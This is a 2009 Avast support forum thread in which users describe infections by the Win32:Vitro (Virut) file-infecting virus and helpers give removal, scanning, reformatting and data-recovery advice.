Hi janr46,

The Virut family of viruses uses polymorphism to hide from all anti-virus protection, it infects executable files. File infection makes it very hard to repair a system that has been infected. W32/Vitro injects code in running processes and hooks the following functions in ntdll.dll which transfers control to the virus every time any of these function calls are made.

    * NtCreateFile
    * NtCreateProcess
    * NtCreateProcessEx
    * NtOpenFile
    * NtQueryInformationProcess


I would strongly recommend rebuilding the system from backups.

Windows can be rebuilt as described in the following link: http://www.informationweek.com/showArticle.jhtml?articleID=189400897 or failing this a format of the system will be required,

I am having this problem too, as informed by polonus it seems to be attacking exe processes e.g. logonui.exe, explorer.exe etc.

I have tried to repair - it fails so deleting the files resulted in deletion of important files in my windows systems !!!

Ended up having to rebuild windows system, but the virus comes back again...any suggestion?

Thanks

Same thing happened to me.

I had a Snapshot for backup, when I restore with BartPE, the virus Win32:Vitro come back after a few minutes.

What can we do? anyone with the solution?

Please let us know when there is a cleaning procedure available for files infected with the Vitro payload.

This IS a particularly nasty one!

I have spent about 20 hours battling it, only to have to resort to a total scorched-Earth solution.

1.  I copied all essential data files to a separate hard drive
2.  Deleted the system partition
3.  Did a total repartition and reformat of the System hard drive, then reinstalled EVERYTHING

Vitro is now gone and has not returned.  However, Avast reports that it still exists in some files on the separate hard drive, so I have to keep them segregated for the present time.

I'd like to warn friends about Vitro!  Does anybody know what the other virus protection peeps are calling it?
Title: Re: Malware name Win32:Vitro
Post by: polonus on February 18, 2009, 08:56:18 PM
Hi Jim Selleck,

Did you made an upload of an infected executable to virustotal.com and can you post the results you get there here as an attached file? The following information I distilled from tweakers netherlands:
If you are infected by virut vitro, then this is an advanced virus that tries to infect all kind of files. After a reformat a re-infection can occur easily through infected back-ups.
I informed above in the thread:
Quote
"The Virut family of viruses uses polymorphism to hide from all anti-virus protection, it infects executable files. "Buggy" file infection makes it very hard to repair a system that has been infected. W32/Vitro injects code in running processes and hooks the following functions in ntdll.dll which transfers control to the virus every time any of these function calls are made.

* NtCreateFile
* NtCreateProcess
* NtCreateProcessEx
* NtOpenFile
* NtQueryInformationProcess"

So virut will attach to an important system file that is used for a plethora of things, and so creates room for the virus as it pleases so-to-say, because almost every program makes use of these system-APIs. Also the virus scanner itself is not immune from it....
Scanning from another computer is not a very bright thing to do either in case of a file-injector involved seen to re-infection, the only sensible thing to do in such a case is using a PE CD.
The virus only injects when it is active, but an autorun is also enough to infect.
Best policy is preventing infection by running fully updated and patched Windows and third party software, and to use in browser security like Firefox with NoScript installed. Malcreants at the moment will use every weakness in IE browsers known for spreading their drive-by-malware-infectors.....and one ounce of prevention is worth 10 kg of cleansing after the fact....

Dear sweet lord, I hope someone gets a solution for this.  I just lost a computer to this virus.  Going with scorched earth.  Also, it jumped to my USB drive (autorun?) and almost got my laptop.

Avast is catching this, when Norton and McAfee did NOT.   Still, I am very uncomfortable with this virus.  Any way to clean the infected files?

Oy.   And it acted like a loop virus, too, but I think that spools.exe is a different one.

I got this Virus, ITS BAD!!

One a single computer on my network so far, (THANK GOD)
Wipe out nearly every .exe file, including explorer.exe, and drivers that need to run!
Definately Polomorphic and attacking running executable files, not sure how it worms though since no other infections on the internal network.
Also make .tmp and 213123421 type backups of itself seen first in the root of C:\
Quickly everywhere.

My Plan...
Remove HDD, Backed up all NON-EXECUTABLE FILES, left out programs, as they are possibly infected.
Formating and reinstalling seems best idea for any polymorphic virus that attacks with such a brute force.

Well, it's making me money for sure.  8)   I'm into computer repair on the side and she's a bitch of a virus.  Got five customers now with it.  In every case, they downloaded something from zShare and had either Norton or McAfee.  I downloaded the same file with Avast on a non-networked test cpu and Avast caught it.

Still, there is no solution other then doing what the Aussie said.  Yank the HDD out, copy all of the data files, non-exec. types and nuke the HD.  I'm repartitioning and reformatting aggressively.  After reinstalling windows, I'll rescan with Avast to make sure that it's not on there somehow.

What are other scanners calling this one?  A Google search of "vitro virus computer" is only showing a few results for Avast, none for Kapersky or the other ones.....

Hi OneRing2Rule,

It is from the makers of virut aka virux, and the complexity of this last strains like virux.u are striking, read the analysis of a few of the tricks of this infector here:
http://securitylabs.websense.com/content/Blogs/3300.aspx
These malcreants for sure aren't amateurs, they know every trick in the book, and because in some ways the infector is buggy, it is almost impossible to repair the damage. So until DrWebCureIt can repair the files "en masse", the best way to go is called "Total Recall",

Polonus,  Thanks for the tips and the interesting but over-my-head reading.

Will it be safe to move HTM files from the original machine's HD?
And is the act of copying and moving enough to trigger an infection to spread?
All I want to copy are .doc, .mp3, and .htm files.  The .htm files are negotiable.

Finally, I would like to know how I can tell if the USB drive is infected.  I've got stick it in SOMETHING to reformat it.
Any hints?

Post by: polonus on February 19, 2009, 11:45:53 PM
Hi OneRing2Rule,

As long as there is no executable file on the partition, because the active file infector spreads like hayfire, and it corrupts because it does not simply attach, it is a polymorphic one and destructive, re:
http://forum.avast.com/index.php?topic=42554.msg356009#msg356009
It is hooking in API handling dll's makes its maneuvering room go really far. I would disinfect the pen drives etc. with a usb disinfector tool, and what you wanna save, save that in RTF to make these files inert.
Try to scan with DrWebCureIt from here: ftp://ftp.drweb.com/pub/drweb/cureit/launch.exe
Good also against polymorphics....
Place this launch.exe (updated to the latest version) on a non-compromised USB stick protected with the file that usb disinfector has left there (do not remove), download from here: http://download.bleepingcomputer.com/sUBs/Flash_Disinfector.exe
Instructions to use here:

 I was infected. I hooked up my external HD where I had my back ups and scanned it with avast and detected win32:vitro. I tried to delete and move to virus chest several times, but it didn't work. Is there anyway to remove the infected file or files so I can retrieve my backed up data? I need my movies, music, games, favorites etc..
Title: Re: Malware name Win32:Vitro
Post by: polonus on February 20, 2009, 01:39:08 PM
Hi Exile,

Your only chance is where you have backups that this virus has not touched. In most cases the experience of the workings of such a critter in the aftermath is the only thing that teaches victims a backup policy of some sort, best thing next is not to panic, that won't help...
As the virus uses the open spaces left in the code of executables and it does so indiscriminately and rather sloppy and buggy it makes cleansing a quite difficult task because it is so destructive on exe, MP3 files etc.
Then another way in which the virus operates using a specific dll that works for a plethora of tasks using API's is another complicating factor, it also immediately attacks a scanner because it attacks executables, so these should be renamed to run in another format on Windows, certainly rename the infector file extension. The miscreant(s) haven't left many options open to us. Cleansing from a CD is the best option, having your data stored somewhere else a blessing,

Post by: geodane on February 20, 2009, 05:59:53 PM
I got this one also. I was able to remove it with Dr. Web from http://www.freedrweb.com/ I used the free scanner and it took the bugger out, of course it took about 2500 exe files with it but after a couple of days I am back up and running as before. I did not reformat my hard drive. This is the worst one I have come across since the introduction of boot sector viruses in the DOS days. I ran a thorough scan with AVAST after the Dr. Web scan and it cleaned up the rest. Just for information purposes I had my laptop, desktop and 3 flash drives infected in about one hour. All is good now though, but several hours lost.

Post by: Maxx_original on February 20, 2009, 06:04:11 PM
this new variant of Virut is still being analysed (it's quite complex).. what's sure is the capability of infecting any PE module and this variant is most probably responsible also for injecting some stuff into html pages.. i guess it contains also an IRC client as the older variants did... the detection will be updated today to cover the recent mutation..
Title: Re: Malware name Win32:Vitro
Post by: OneRing2Rule on February 20, 2009, 09:08:01 PM
Well, if there's one good thing about this, it finally got me involved from a "user" to "forum user".   ;D

Good to know I'll have this available for scanning.

Now, I *do* have the Avast USB version (paid for it!).  I ran some USB Disinfector (seems to just leave a hidden autorun.inf file in the drive) and I know the drive is clean.  That should be my first line of defense against these computers stacked up on the workbench, right?

Was there another USB disinfector that I should have used?

Title: Re: Malware name Win32:Vitro
Post by: mindry on February 21, 2009, 12:07:55 PM
I have just recovered from this infection... it took down about 50 .exe files and I have now wiped the computer using the restore discs - it now seems to be clean. I did manage to salvage my important documents and burn them onto a CD-R - they are all .doc, .ppt or .xls files, definitely no .exe ones. What I want to know is, is there a chance the Vitro worm could be on that disc somehow, and if it is, what is the best way to rescue my files without letting Vitro back in, as I really need those documents back!

Also I have a couple of momory sticks that I think have been plugged in since I've had this virus. Could these ben infected, and if so is there any way to disinfect these, or should I just dispose of them lest they let Vitro back into my system?

Finally, I get my internet wirelessly, and the computer attached to the router (apologies for lack of proper terminology!), while not actually networked to my infected PC, is now showing as having a virus. I don't know whether this is Vitro or something that's actually possible to remove. Could Vitro somehow have spread wirelessly to the router and thence to this computer, even though there is no network connection between the two computers?

Sorry for all the questions, but this has ruined my computer and I want to make sure I don't let it back in or lose the second PC to it!

If two computers are networked, yes, the virus could have spread between them.

Hi

I too got infected with this VITRO, and it doesn't let me to go to windows (not even safe mode now). In the beginning on the startup there was this data execution prevention screen with LOGONUI something with an error. Now I want to format the entire disk (I don't have to save anything, btw so that is not a problem) but I have a huge problem. I tried to format it with my windows xp disc but the blue screen always pops out so I can't do anything with that CD. Second thing I tried is to format it from DOS on the bootcd but it gets stuck with some driver loading (ATAPICD.SYS loading... and then nothing, just stays like that). Could you pls give me some advice, I really don't know what else to do to format it.

Installing windows on the same hdd wont help. Windows is crashing right after install... Best way to remove it is to install new windows on other hdd and perform full skan with (lets say) avast which has new virous data base. Its good to do scan from boot menu also for sure. Unfortunatelly windows on c will require new installation because there are too many infections and after deleting all of them it wont work again (repair of windows will be only time lost). Im in the middle of scan now and after 12% log file allready has 121kb. Its second hardcore virous after 10 days for me, last time i fight with it 6 days. All started again after installing some program from hdd and try to run it. So now I've deleted most of exe files for sure -_- Doing everything what you can to save all other files on hdd's is better then format so keep fighting :P

Title: Re: Malware name Win32:Vitro

nah, I search options like that befor when I had that "antispyware 2009" problem and I heard about that option right after I manage to deal with it. Now when I see how much infection there is I can only say that it would be loose of time to try install windows again on same or other partition of infected HDD. Good for me with 2 Hdd's but what if i wouldn't have it, teoreticly boot cd should help but whithout second HDD and boot cd I would try to take it to some friend and cure it on other PC. If there is any options to deal with it then its better then formating all of particions and things which I have (I simply dont like to burn things on disc's)... I'll get boot cd now (every option to save some time is better) because I forgot about that option today when it happend again. Lets hope that removing all of viruses, installation's.exe and every other exe files help for more then only 10 days this time.

Hi Rangerro,

Virut is a file-infector, that is rather serious

1. Download Dr.Web CureIt to your Desktop: cureit.exe from ftp://ftp.drweb.com/pub/drweb/cureit/cureit.exe
(Preferably from a pendrive/ usb-stick onto mentioned PC, after this has been downloaded using a non-infected PC)

2. Doubleclick cureit.exe and then click Start in order to start a Quick Scan.
This will first scan all those files that have been loaded into momentary memory,
and when something has been found up have CureIt repair this/these...
- Then there appears a window with an offer to buy the software with 50% off, click to disappear through clicking X.

Now the main menu will be visible.
- Choose the language to use at the top if you want to use another language as english.
- Then choose Actions and set for the following options:
Adware: Move
Dialers: Move
Jokes: Report
Riskware: Report
Hacktools: Move
Then take away the tag at Prompt at action.
Then click OK.
- Choose options - Change Settings and remove tag at Heuristic analysis.
- Then click OK.

3. Back in the main window you can select the drives that you want to be scanned.
- Select all drives here. Then a red ball will apear for the drives selected for scanning.
- Then click the green arrow to start the scan.
This will replace the infected files to the following folder %userprofile%\DoctorWeb\Quarantine\
whenever disinfection fails.
- If the scan has run then choose for File - save Report list. Save this log onto your desktop.
- Close Dr.Web Cureit.

4. Now restart your computer!! This is an important stage, because it may well be that DrWebCureIT like to replace/remove files during a restart. Do an additonal full scan with your PC started in SafeMode, because this virus is apparently inactive in SafeMode,


After restart, copy and paste the contents of the log and attach to your next posting.
Also post a new HJT log, download from here: http://www.filehippo.com/download_hijackthis/download/58170ee6e58bba306c943f5b6d745c99/

I did follow the instructions but the flash disinfector just doesn't seem to work for me. But thanks for the links, I have now downloaded and burned Avira just in case Vitro returns. Since I'd just wiped the computer I had nothing to lose so I plugged my two memory sticks in and ran DrWebCureIt - turns out that the autorun on one of them was infected with Win32:HLLW (dunno if this is connected to Vitro or not) but everything seems to be clean now. I tried the disc with my important documents on, and it was clean, so I haven't really lost anything apart from lots of sleep!

do you guys know if there's a way to set a flash stick into read only mode? and if this will prevent the vitro virus from corrupting it? if it's already corrupted, then setting it into read only should do absolutely nothing, but i'm trying to find a way to plug flash sticks into infected comps safely

...do you guys know if there's a way to set a flash stick into read only mode? and if this will prevent the vitro virus from corrupting it? if it's already corrupted, then setting it into read only should do absolutely nothing, but i'm trying to find a way to plug flash sticks into infected comps safely
What works for me is to create a folder in the root of the flash drive named autorun.inf. Then I set the folder System, Hidden and ReadOnly attributes

looks fine fore me, just like I said befor, avast remove 837 infection, some others I removed myself and last step was boot menu scan with avast wich remove (I think) last infections. So now after removing almost 1000 of viruses and installing windows again it works fine.

Cześć rangerro,

That seems OK, to cleanse the last bits of this do another full scan with DrWebCureIt na "pynolu" and then with avast with your computer in Safe Mode, because in SafeMode the virus is not active.

Życzę wszystkiego dobrego ,

Hi Bladehere,

Go into SafeMode as soon as possible else the virus is infecting on, in SafeMode it is inert,
Virut is a file-infector, that is rather serious

1. Download Dr.Web CureIt to your Desktop: cureit.exe from ftp://ftp.drweb.com/pub/drweb/cureit/cureit.exe
(Preferably from a pendrive/ usb-stick onto mentioned PC, after this has been downloaded using a non-infected PC) you could approach your PC from a pen-drive that has been disinfected with the autorun disinfector from here:
http://download.bleepingcomputer.com/sUBs/Flash_Disinfector.exe
Leave the file this leaves on your USB-stick there and set the properties to system, hidden and read-only,



2. Doubleclick cureit.exe and then click Start in order to start a Quick Scan.
This will first scan all those files that have been loaded into momentary memory,
and when something has been found up have CureIt repair this/these...
- Then there appears a window with an offer to buy the software with 50% off, click to disappear through clicking X.

Now the main menu will be visible.
- Choose the language to use at the top if you want to use another language as english.
- Then choose Actions and set for the following options:
Adware: Move
Dialers: Move
Jokes: Report
Riskware: Report
Hacktools: Move
Then take away the tag at Prompt at action.
Then click OK.
- Choose options - Change Settings and remove tag at Heuristic analysis.
- Then click OK.

3. Back in the main window you can select the drives that you want to be scanned.
- Select all drives here. Then a red ball will apear for the drives selected for scanning.
- Then click the green arrow to start the scan.
This will replace the infected files to the following folder %userprofile%\DoctorWeb\Quarantine\
whenever disinfection fails.
- If the scan has run then choose for File - save Report list. Save this log onto your desktop.
- Close Dr.Web Cureit.

4. Now restart your computer!! This is an important stage, because it may well be that DrWebCureIT like to replace/remove files during a restart. Do an additonal avast full scan with your PC started in SafeMode, because this virus is apparently inactive in SafeMode,
Load the files you wanna save (drivers, etc) onto a pendrive and scan these thoroughly with DrWeb's CureIt in the proposed settings and again after you started up in SafeMode, so you have various scanning routines following each other up, but better safe then sorry, because the file infector can raise from the dead almost in any infected executable and then we are right back where we started,

If the infection is really bad, the computer maybe beyond repair (because of the corruptive nature of the random file-infector and its encryption), the next thing left is the FFR solution, namely fdisk - format - reinstall, so I hope you haven't have to do that,

I've been having trouble with this virus too. I ran avast, and my dad set it to put all infected files into the chest. Now when I try to run windows, all that will show up is my wallpaper. I can't even open task manager to run anything. I'm thinking we put something in the chest that we shouldn't have, that was vital to running windows (even safe mode wont work now). I'm not a computer expert however, so can someone tell me if this is even possible? And if so, how can I empty the chest without being able to run anything?

I have downloaded and tried to use all of the tools mentioned here.

cure it did nothing.
kapersky did not run for some reason.
bitdefender ran for more than 24 hours and did nothing.
f-secure ran but now my computer goes to an endless loop after showing the winxp splash screen.

After running the windows setup (repair without deleting everything**), it did all the preliminary steps but then procces froze during 'configuring setup' step.
**yes I know it would not work but just in case.

My last attempt will be to add a SATA drive I have but not using it.  Then download knopixx live cd so i can copy MY all-NON-EXE-DLL files (mp3, photos, docs, xls, etc, etc)

Hopefully the new knoppix have sata drivers (an older copy did not).

Then the C drive will suffer a complete wipe (delete partition and all)

I hate to recreate my working computer to my dev standards. (Takes too long and Ghost does not work for my WinXP version)

Does anybody know if this dammed virus can cross-over from VM to VM if I'm using VMWare?

That will be my new addition in this marathon against virus writers.

Again,

We haven't a clue what the purpose of this corrupting file infector is, while it leaves a computer beyond repair. You cannot use it as a zombie in a botnet, you cannot use it for launching spyware. On the other hand the malware is so advanced in nature that it cannot have been developed but by very apt malcreants.
But why it is pure negative, then? It has a random encrypted file infecting routine making it very hard to recover from it, re: http://www.sophos.com/security/blog/2008/05/1436.html
So the best protection is prevention (update, patch, in-browser security). I wonder where the weak side of this malware is to tackle it. For the moment I reckon your luck was in,

Hey All,

I've been infected w/this virus too & after reading a ton of posts, I'm not sure what to do.  Avast! found this virus about 2 weeks ago & I moved many of the .exe files to the chest & some I ignored b/c I knew they were vital to the system.  My computer only works in safe mode, but I cannot open the chest up to restore some of these .exe files.  I bought a USB flash drive & will probably end up downloading the flash disinfector & try the Dr. Web fix it on the computer, but then what?  These files I have in the chest are re-named b/c they were infected & will still probably be infected even if I use this fix am I correct?  If so then is it worth it for me to try to fight this virus or should I just try to get some files off my computer & start fresh?
I do have some programs on this computer, whose .exes I had put in the chest that I would like to have again.  Any suggestions?

Hmm.. as for the people who are having trouble getting to start windows, even in safe mode, i would suggest getting on a clean pc and burning a copy of ERD Boot Commander. I'm not sure if you're gonna be able to restore the files in the chestor if you can even run avast under ERD Boot Commander, but if you know what files are missing and you have two computers of the same OS, you can move over files between the two (just make sure that you don't get your flash stick infected, put the files in a read-only folder/system folder/hidden, as someone mentioned before). If you're also thinking about formatting, you can move over vital files before you purge your comp (again, make sure the files you're copying are safe). Recovery console is also an option, but I've only used it once before

Oh, and your computer may have trouble picking up the flash stick if you're booting it with ERD Boot Commander, you may have to plug/un-plug it several times

Just had this pop up when I was updating my Nvidia drivers... at first I thought it was a false positive since I was updating drivers but after reading the last 4 pages I have a come to the conclusion I'm hosed. I'm currently running a scan @25% atm and Avast has found 2 win32:vitro infections in
c:\hp\drivers\nvidia_uma_graphics\nlvddmkm.sy_\nvlddmkm.sy  and
c:\nvidia\winvista\158.24\nvlddmkm.sy_\nvlddmkm.sy

Is it possible for me to have escaped massive infection since avast picked up on the virus as soon as it went active(not sure on the correct term)? Also how did this virus get on my comp?, I'm very careful about what I DL and open is it possible that this spread from my roomates comps via our network? they both DL alot of files from torrent sites. 

EDIT: found 6 more files that were infected, moved to chest then ran Drweb(none found) am I in the clear or should I nuke the system just to be safe? Also if I'm in the clear can I delete the files in the chest or should I just leave them be? 
Thanks for any help -Cameron

Hi all,

New to the forum, brought here by this *wonderful* virus.  Anyway, here is my situation, I am using Windows Vista and my Avast came up saying that I was infected with Win32:Vitro. 

So, in my virus chest, it says the following files are infected:

Install_AVg_7702420 from location C:\Users\Owners\Downloads is infected with Win32:Trojan
Install_AVg_7702420 from location C:\Users\Owners\Downloads is infected with Win32:Trojan (yes, it does list this twice)
nvlddmkm.sy_ from location C:\hp\DRIVERS\NVIDIA_UMA_Grap... (I assume that says graphics but cuts off there)  is infected with Win32:Vitro
nvlddmkm.sy_ from location D:\hp\Drv\APP28871\offline_driver is infected with Win32:Vitro
nvlddmkm.sys from location C:\Windows\System32\DriverStore... is infected with Win32:Vitro
nvlddmkm.sys.vir from location C:\Program Files\Alwil Softwar\Ava... is infected with Win32:Vitro

Avast picked it up but for no reason... i mean i was on it this morning and nothing. Tonight and nothing, i go have tea, come back and its found it.
The only thing different that ive done is plugged my printer in and used it. That i havnt used in a while.

Next thing... ive done the flash disinfecter thing... avast isnt showing the virus... im currently using the dr web scanner thing, the 'quick scan' didnt find anything...
so im doing the complete scan now... so far (not long into it) hasnt found anything... from what ive read it doesnt just disappear...

im on a laptop, had a usb, printer and external pluged in. ive got no exe files on external.

not sure how this has just appeared... without doing anything out of the ordinary or going to any sites i havnt been on before.

Well I got this damn thing too.  Never in 18 years have I had a virus.  Was sitting in the other room when I heard the Avast virus warning.  Tried to delete it, move it to chest and it kept saying ACCESS DENIED.  The only thing I could do was rename and move it. 

I burned most of my docs on a dvd,but the dvd wouldn't eject.  I ended up shutting it down as it was very late.  Now I'm on my laptop which I run Linux and looking for solutions.  I will boot to safe mode and see what I can do.  This is my main computer that is infected.  I use it for cad, accounting and a whole lot more important stuff.  If it goes down, I'm hosed.  Plus that, there are 3 other computers on this network.  My wife said hers is running funny.  Arghh!!

Hi Committed,

Re: http://forum.avast.com/index.php?topic=42926.0 This was a FP and users with this find can sigh in relief.
For the other there is less hope.....
This virus is a file infector that does not play rules, so the code is sloppy infecting randomly and in different ways.Different anti-malware products use varied techniques to identify an infected file they may not all report broken samples as infectious. This is often difficult to explain to customers who run multiple anti-virus products, and although neither response is wrong, neither is entirely correct.

Traditionally, anti-virus vendors have used four different methods to detect broken replicants:-

Detect them as the virus and don’t offer disinfection
Detect them as -Dam (.Dam)
Detect them via more intensive user initiated scans after detection of main virus.
Not detect them
Customers seem to understand detection of broken samples however they have some difficulty comprehending non-detection (often requiring support to assure them that the sample is not only not viable but beyond repair.)

The only chance you had was to change into SafeMode the very moment it got detected (the AV product should do that for you to prevent further activation), because the virus is inactive in Safe Mode. So what I could imagine for the future is scanning from a CD from another OS, and in Safe Mode a layered scanning approach: scan and repair the files that were "normally"corrupted/infested, excluding and protecting files that were not and "not-normally" corrupted or infested, exclude those to be repaired in a non-detection run, and alternately on and on, and then still this may be not sufficient and we should throw in the towel. This virus was "just created to junk your computer and make as much damage as possible", in this sense it is an anti-MS virus a la carte,

I'm in safe mode on the infected computer.  I have it disconnected from the internet and router as I don't want to spread anything.  I've tried running avast in safe mode and it won't start,however it started in screen saver and found the virus again, but it won't let me do anything.  Keeps telling me access denied. 

I've downloaded DrWebCureIt and launch.exe on a usb flash drive from my linux computer, but I'm not sure what to do with it now.  I really need to get into quickbooks if I can and backup.  I do have backups that are not too old, but it will still require plenty of work to get them up to date.

Just had this pop up when I was updating my Nvidia drivers... at first I thought it was a false positive since I was updating drivers but after reading the last 4 pages I have a come to the conclusion I'm hosed. I'm currently running a scan @25% atm and Avast has found 2 win32:vitro infections in
c:\hp\drivers\nvidia_uma_graphics\nlvddmkm.sy_\nvlddmkm.sy  and
c:\nvidia\winvista\158.24\nvlddmkm.sy_\nvlddmkm.sy

This may be a false positive on these nvidia files, there has just been a vPS update, 090225-1, which should resolve this, do a manual update (right click the avast 'a' icon, select Updating, iAVS Update) and scan the files again in the chest.

Here is what Avast is telling me right now.

file name:  C:\Windows\System32\Driverstore\filerepository\nv_disp.inf_d5fff5drf\nvlddrr
Malware name:  Win32:Vitro
Malware type:  Virus/Worm
VPS version:  090225-0, 02/25/2009

when I try to move it to chest, it tells me ACCESS IS DENIED to the above file name, C:\Windows\System.....


Running Dr.Web right now.

Are you talking about manually updating Avast?  Right now I've express scanned with Dr.Web(found nothing) and am now about 1/4 through a complete scan.  Nothing yet.  After it's finished, I can disonnect this machine and reconnect my infected computer to the internet and update Avast if that is what your saying.

Yes I am rather than wait for the auto update process to update the VPS.

Whatever any other scanner says, you still need to resolve it within avast and that is by getting the latest VPS update and scanning the files again to see if that resolves it, e.g. a false positive correction.

So the scan with DrWeb I feel is time wasted if it is an FP, which is why I suggested the VPS update...

If you really don't want to connect a possibly infected system, you could download the complete VPS file on that system (though it is in the region of 23MB) and transfer it to the suspect system.

avast! VPS Update - Manual Download (http://www.avast.com/eng/updates.html) - For updating an off-line systems, download using a system with internet connection, save the file to a CD or USB drive and transfer it to the off-line system and run it to update the VPS signatures file.

I've located the file Avast says is infected.  It's the file name I listed above and I've removed to the recycle bin and took a look at it.  It's an NVIDIA Compatible Windows Vista Kernel Mode Driver. I see in another post, someone had a problem with an NVIDIA driver as well.  Not sure if this is a false positive or not.  This file is not an .exe. 

Still waiting for Dr.web to finish, then I'll connect that computer back up to web and update VPS.  Btw,my wifes computer tested clean.  I might switch all my computers to Ubuntu and keep dual boot for my main since I need to run quickbooks and Chief Architect Cad software.  IMO, linux kicks Windoze butt and is much safer.

I've got a meeting from 1 - 3 pm et so I'll be gone a couple hours.  Will fill in later.

Hello,

A friend's Computer is infected by this virus. The good thing is, he doesn't need to save any data on the PC. He uses ist only for gaming, musik ...
So i want to ask, if it's enough to reinstall WinXP with the boot disc, or does Virut survives a formating of the hole Computer??

I hope you can help.

Thanks and best regards

Whilst it reinstalling XP would resolve any problems with infected system files it wouldn't address how they actually got infected. So a format followed by a reinstall would be best, as far as I'm aware it won't survive a format.

Then you friend needs to address how they got infected, commonly infected USB drives with autorun.inf files and some hacked sites, etc. So even when used for gaming they need the protection of a firewall and anti-virus, but many gamers feel this slows their computer.

The screensaver scan uses the same virus database, so it shouldn't matter what type of scan, so I'm not sure what is happening if one scan doesn't detect but the other does (but you don't say which avast scan doesn't see anything)...

There was a confirmed FP with some nvidia files, if you have the latest VPS update then that FP has been corrected, so ensure you have the latest VPS update and check again.

Sounds like the same issue I just had with a false positive on an Nvidia driver.  I removed that file as at the time I thought it best if it were infected.  After running Drweb and finding nothing, I rebooted out of safe mode, updated my Avast, ran again and all was clean.  I then went to Nvidias sight and installed the latest driver for my card as my comp wouldn't allow me to move that file back into it's original folder.

Wow,

this virus seems to have even the gurus worried which for me is a first. I have a simple question pertaining not just to this but to viruses in general. My drive is partitioned as follows:
C:\ for system files
D:\ recovery partition.

This D: partition is somehow protected and I can't access it even in administrative mode (which is the only mode I use.
So is it likely that a virus will have access even if i don't? Keep in mind that I have used this partition in order to get my system formatted as it were (it's called system restore to factory defaults but it's much like a format of the c: partition)
When I see that even experts are having a hard time to get rid of it, even after format I am getting worried about my my own plan of system restoration in case of the unthinkable.

Also how do you recover your docs with out opening the OS? do you use a live Cd Linux distribution to transfer simple files (since executabels in windows won't work in Linux... I think) or do you pull out the hard drive and put it in another computer and then go on from there?

Thank you for any and all replies? I hope this is not too off topic for this thread.

It's safe to boot the PC from a 'Live' Linux CD and then copy your documents to an external drive. I often boot PCs from Linux CDs to recover data. I have also done this to remove certain types of malware executables (but not Vitro)

Hi all, been dealing with virus's for longer then I care to talk about, but man this thing is fun huh? Put this guy on my "wish to meet in a dark ally" list..

Anyways.. Ok so I got this virut.ce thing. Fortunately KasperSky could repair most of it. They had a nice little linux boot disc, fixed 800 some files. I some how got this nasty on two systems.. So All clean up right everything is good.

Then avast says I have a vitro nasty on one of the virut.ce victims .. Well that is what brought me here.. So this time KasperSky wont find it but avast did, and I could beat it in safe mode.. So After all of that I do another scan ( 3 TB mind you, not all exe's ;) ) Clean up a few more that didnt get found and I see my second system also learned of this new vitro..

So I'm thinking, some how one nasty lead to another..

So I'm working away and my programs start believing funny again, did it morph in to another virus now?

Was I right, does this virus call upon another? virut.ce->vitro->????

Does any one know how far it goes?

So far avast and Kasper find nothing, but I'm getting random crashes and DEP warnings again.  Perhaps I'm paranoid, thus I though i'd ask..

I don't know for sure, I haven't learned enough about this to know if it can glue a copy of itself to documents and the like. However, so far it doesn't appear to have the ability to patch code onto anything but compiled executables.

Hi sdlehman,

The source of this virus mainly is infected Internet sites, illegal software with off-course the "working" cracks, key-gens and patches, downloaded films, music and through P2P.

The best and most secure option left is just to format and re-install. If you should have made back-ups wirh infected exe files and other infected files on it, the chances of re-infection are real. Some say av scanners can cleanse quite some of the infected files, some advise MBAM, DrWebCureIt, combofix to scan/cleanse. It is almost impossible to recover, it is very time consuming, and if you do not go into Safe Mode immediately after infection your Windows OS might get corrupted beyond repair, because the virus is meant to corrupt indiscriminately because of the buggy infection routines. So, it is the user's choice, but i.m.h.o. the best option, total recall for your machine,

Your best bet to save your data/flies...is to STOP TRYING TO FIX IT...YOU CAN'T.. Go buy another hard drive, re-install windows, dl anti virus,  Avast in good because it has a boot scan. You need to remove the infected files asap. Every time you re boot windows it spreads to more files.....so you need to clean before full boot.

TURN OFF SYSTEM RESTORE

So...get your new hard drive up and running with Avast installed and updated...  and turn off sys restore, turn off the pc....change the jumper on the infected drive to slave....and install it as a slave drive.

Re boot...go to my computer and make sure it's reconized...but DON"T CLICK ON IT!!

Now open avast and select boot scan and select the infected drive...advanced options...delete files...and allow  move/delete....re-boot   and let it run.

After it's done it will boot to windows...go to avast dir..data/report/awsboot.txt..here you will find the results.

I suggest you do this at least twice...or untill you find no more problems.

Then.....you can start copying the data you need off of the infected drive to your new drive...of better yet..an external drive.

After you get all your data off the infected drive...FULL REFORMAT IT.

When your all done, you will have an extra internal drive to back up data on (data only..no .exe stuff).

Side note....if you copy your data with avast running.(ie. new install..slave drive...it should find anything you missed..during copy)

The harder I tried to fix this virus...the worse it spread...STop..save your data before you can't!

If you lucky enough to catch this before it gets all your EXE fles, the report wil tell you which ones it got....you can just restore the exe from the s/w provider, (not recomended unless you know what your doing).

I repeat ...STOP TRYING TO FIX IT...save your data...it will also jump to flash drives with hidden .exe file so beware!!!   It also hits some dll's

Conentrate on saving your data!!!!...NOT REMOVING THE VIRUS...

I see no point in buying new hard drive just because virus infected it. All you have to do is to format the HDD. You can do that with Windows XP or Vista CD/DVD.

Also cleaning Vitro is a tough task because it first infects explorer.exe, svchost.exe and logonui.exe, components that have to be active for proper windows operation.
DrWeb seems to be the only one able cleaning this mess. But i wouldn't rely on it completelly.
Though, avast! is able to resist it somehow. AntiVir just got corrupted why avast! kept on working.

Hi Tech,

Yes, we were beaten here and we have bitten the dust, but this is only for the moment, the analysis of the infecting vector goes on (how it is circumventing the Windows File Protection scheme) and the strongest point of the virus will be it's final undoing as often found with malware.
Essexboy, oldman, and the other anti-malware geeks are already brooding on ways to harden against this, see what comes out of the Incubator. When infected immediately go further in SafeMode to stop further complete and utter infection.

As things stand for the moment the best way is to go SafeHex to prevent infection, that will mean update and patch all of your Windows OS and all the vulnerable third party software (use Secunia PSI to do this real easy), do not cruise the Internet with full admin rights (only for necessary downloads and installs), do abstain from doing risky things there (going after cracks, key-gens, insecure P2P), use a safer browser like Firefox or Flock with NoScript and RequestPolicy add-ons installed), have a two-way fw active and update your av and have all the services like NetShield and Webshield etc. operational,

Hi BrBrasil,

It is not avast nor any other av's fault for that matter, this virus was developed just to ruin operational systems because the infection vector works rather buggy, so it is almost impossible to repair the partially and totally infected files, because it will ruin files in a random way and only partially or not and while it has circumvented the Windows File Protecting scheme it goes on ruining every executable from memory it finds and reappears and goes on infecting if only a small trace of the infector is left (copies, archives), and this goes astonishingly fast, so we have to throw in the towel, a virus developed just to ruin an operational system as best it can, cannot be beaten, there is no cure against it.
Only option left with this nastiest of file infectors is the FFR-method, that means to fdisk, then to format and finally re-install, that is all,

